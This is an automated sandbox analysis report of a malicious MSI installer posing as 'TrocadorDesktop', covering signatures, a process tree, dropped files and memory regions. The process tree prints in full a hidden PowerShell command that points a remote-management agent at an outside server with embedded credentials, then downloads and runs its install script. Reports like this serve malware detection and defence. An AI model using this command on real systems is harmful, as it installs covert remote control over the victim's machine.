Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    25/06/2026, 18:14

General

  • Target
    _TrocadorDesktop%28V1.1.0%29.msi
  • Size 252KB
  • Sample260625-wvb59set7r
  • SHA256 7bda0aa187b2b11edec3f160b80d7e59b5fea34921592c7d9fe7efb3875e89c7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://fastly.jsdelivr.net/gh/nezhahq/agent/

  • exe.dropper

    https://gcore.jsdelivr.net/gh/nezhahq/agent/

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 11 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 56 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\_TrocadorDesktop%28V1.1.0%29.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:544
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4228
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4180
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 849E09FE3A1058B2DD4A2C645DED2A52
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:208
      • C:\Windows\SysWOW64\ICACLS.EXE
        "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
        3⤵
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        PID:5032
      • C:\Windows\SysWOW64\EXPAND.EXE
        "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
        3⤵
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2728
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\files\Trocador.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1128
        • C:\Windows\SysWOW64\net.exe
          net session
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3184
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 session
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3796
        • C:\Windows\SysWOW64\net.exe
          net stop "nezha-agent.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4004
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "nezha-agent.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:4452
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 3 /nobreak
          4⤵
          • System Location Discovery: System Language Discovery
          • Delays execution with timeout.exe
          PID:1280
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "[guid]::NewGuid().ToString()"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2832
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -Command "[guid]::NewGuid().ToString()"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2472
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$env:NZ_SERVER='almanak.top:8008'; $env:NZ_TLS='false'; $env:NZ_CLIENT_SECRET='8m79v3v2qGOc3Nm66OuSCpJ1kdPTX18T'; $env:NZ_UUID='2c4cd35b-eb15-4541-8d4e-3e565e6f7646'; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Ssl3 -bor [Net.SecurityProtocolType]::Tls -bor [Net.SecurityProtocolType]::Tls11 -bor [Net.SecurityProtocolType]::Tls12; Set-ExecutionPolicy RemoteSigned -Force; Invoke-WebRequest https://raw.githubusercontent.com/nezhahq/scripts/main/agent/install.ps1 -OutFile C:\install.ps1; powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\install.ps1"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3900
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\install.ps1
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1900
      • C:\Windows\SysWOW64\ICACLS.EXE
        "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\." /SETINTEGRITYLEVEL (CI)(OI)LOW
        3⤵
        • Modifies file permissions
        • System Location Discovery: System Language Discovery
        PID:4620
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:2996

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 1KB
        • SHA256 b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
        • MD5 SHA1 SHA512 TLSH

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 53KB
        • SHA256 e377d830d0a901e4701f3b6aed46bb4d31afcbe05b2c823f9313b435524555a6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 19KB
        • SHA256 c58f187046fa72ef49fa0ae38d2c5feffbfaed284dac9ac9e59c2af8c3ad8de9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 12KB
        • SHA256 e8380ad1ccb9f06f4056fc59a82aa69769c867c3083b40f58c13b7183d7f0a53
        • MD5 SHA1 SHA512 SSDEEP TLSH

        files.cab

        • Path C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\files.cab
        • Size 1KB
        • SHA256 edbf54d51aea9db64a6991fd8cc031621231685591f79fb0ff405c7829aaea29
        • MD5 SHA1 SHA512 TLSH

        Trocador.bat

        • Path C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\files\Trocador.bat
        • Size 1KB
        • SHA256 ea39463537078c5a13ed205c0811be706ab4f0e97bc715420c2ac784861f0c02
        • MD5 SHA1 SHA512 TLSH

        msiwrapper.ini

        • Path C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\msiwrapper.ini
        • Size 1KB
        • SHA256 555325775d467dcfed3c086a34e72e8eef3f0a1d303e4e90983b02051716c5ab
        • MD5 SHA1 SHA512 TLSH

        msiwrapper.ini

        • Path C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\msiwrapper.ini
        • Size 610B
        • SHA256 5f7f98c6969292d1ba690df812ccda1d85855d3da4ac3a5771c5dc8ba4d7a95e
        • MD5 SHA1 SHA512 TLSH

        msiwrapper.ini

        • Path C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\msiwrapper.ini
        • Size 1KB
        • SHA256 a397b56a0206bd342ad55cb36bb970373b694af5c6c91e4cc2fd200a24876a11
        • MD5 SHA1 SHA512 TLSH

        msiwrapper.ini

        • Path C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\msiwrapper.ini
        • Size 1KB
        • SHA256 9b89b67f1395b7706cb6d1f067248ef9d4d9c1dc116edda18cf1bdcea2315c98
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_igm3dkhg.5s0.psm1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_igm3dkhg.5s0.psm1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        MSI3E2D.tmp

        • Path C:\Windows\Installer\MSI3E2D.tmp
        • Size 208KB
        • SHA256 0630014e81058bc5976b626865a7d6cf33cc9a8dcad5e6e73c266c0bce9f4abe
        • MD5 SHA1 SHA512 SSDEEP TLSH

        install.ps1

        • Path C:\install.ps1
        • Size 3KB
        • SHA256 8b9e54f5e3a2cd61860d3b91827dc7daf0de93773c132301f6cb8c98482cf6a6
        • MD5 SHA1 SHA512 TLSH

        metadata-2

        • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
        • Size 24.1MB
        • SHA256 64b8bcaa47574c785bd204b759763429dbf11db1247777aac2a0a4754e24309b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        {02901934-b353-40f9-9cac-907f469a2ae3}_OnDiskSnapshotProp

        • Path \??\Volume{4588d6e0-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{02901934-b353-40f9-9cac-907f469a2ae3}_OnDiskSnapshotProp
        • Size 6KB
        • SHA256 7a136386857f81dbf1390b0228c90551379a713db2543559bbb8aaceaf90881a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1900-122-0x0000000009BC0000-0x000000000A0EC000-memory.dmp

        memory/1900-119-0x0000000007530000-0x00000000076F2000-memory.dmp

        memory/1900-118-0x0000000007910000-0x0000000007EB4000-memory.dmp

        memory/1900-117-0x0000000006540000-0x0000000006562000-memory.dmp

        memory/2472-69-0x0000000005A00000-0x0000000005A66000-memory.dmp

        memory/2472-79-0x00000000060D0000-0x000000000611C000-memory.dmp

        memory/2472-65-0x0000000002A10000-0x0000000002A46000-memory.dmp

        memory/2472-66-0x0000000005260000-0x0000000005888000-memory.dmp

        memory/2472-67-0x0000000005060000-0x0000000005082000-memory.dmp

        memory/2472-68-0x0000000005990000-0x00000000059F6000-memory.dmp

        memory/2472-77-0x0000000005A70000-0x0000000005DC4000-memory.dmp

        memory/2472-78-0x00000000060A0000-0x00000000060BE000-memory.dmp

        memory/3900-105-0x0000000007B00000-0x0000000007B0A000-memory.dmp

        memory/3900-92-0x0000000007970000-0x00000000079A2000-memory.dmp

        memory/3900-90-0x0000000006110000-0x0000000006464000-memory.dmp

        memory/3900-93-0x000000006F7A0000-0x000000006F7EC000-memory.dmp

        memory/3900-107-0x0000000007C80000-0x0000000007C91000-memory.dmp

        memory/3900-106-0x0000000007D60000-0x0000000007DF6000-memory.dmp

        memory/3900-101-0x0000000006D50000-0x0000000006D6E000-memory.dmp

        memory/3900-104-0x0000000007AB0000-0x0000000007ACA000-memory.dmp

        memory/3900-103-0x00000000080F0000-0x000000000876A000-memory.dmp

        memory/3900-102-0x00000000079B0000-0x0000000007A53000-memory.dmp